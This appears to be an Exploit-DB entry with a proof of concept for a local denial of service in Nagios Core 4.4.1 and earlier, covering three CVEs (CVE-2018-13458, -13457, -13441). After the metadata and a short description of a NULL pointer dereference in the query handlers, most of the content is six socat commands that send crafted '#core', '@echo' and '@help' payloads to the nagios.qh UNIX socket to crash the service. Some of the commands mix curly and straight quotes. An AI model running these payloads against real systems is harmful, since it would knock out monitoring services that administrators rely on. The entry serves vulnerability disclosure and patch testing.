Nagios Core 4.4.1 - Denial of Service

Author: Fakhri Zulkifli
type: dos
platform: linux
port: 
date_added: 2018-07-24 
date_updated: 2018-07-25 
verified: 0 
codes: CVE-2018-13458;CVE-2018-13457;CVE-2018-13441 
tags: Denial of Service (DoS)
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Nagios Core Multiple Local Denial of Service
# Date: 2018-07-09
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.nagios.org/
# Software Link: https://www.nagios.org/downloads/nagios-core/
# Version: 4.4.1 and earlier
# Tested on: 4.4.1


qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.

1. [CVE-2018-13458] qh_core

$ echo -ne “#core\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@core\0" | socat unix-connect:./poc/nagios.qh -

2. [CVE-2018-13457] qh_echo

$ echo -ne "#echo\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@echo\0" | socat unix-connect:./poc/nagios.qh -

3. [CVE-2018-13441] qh_help

$ echo -ne “#help\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@help\0" | socat unix-connect:./poc/nagios.qh -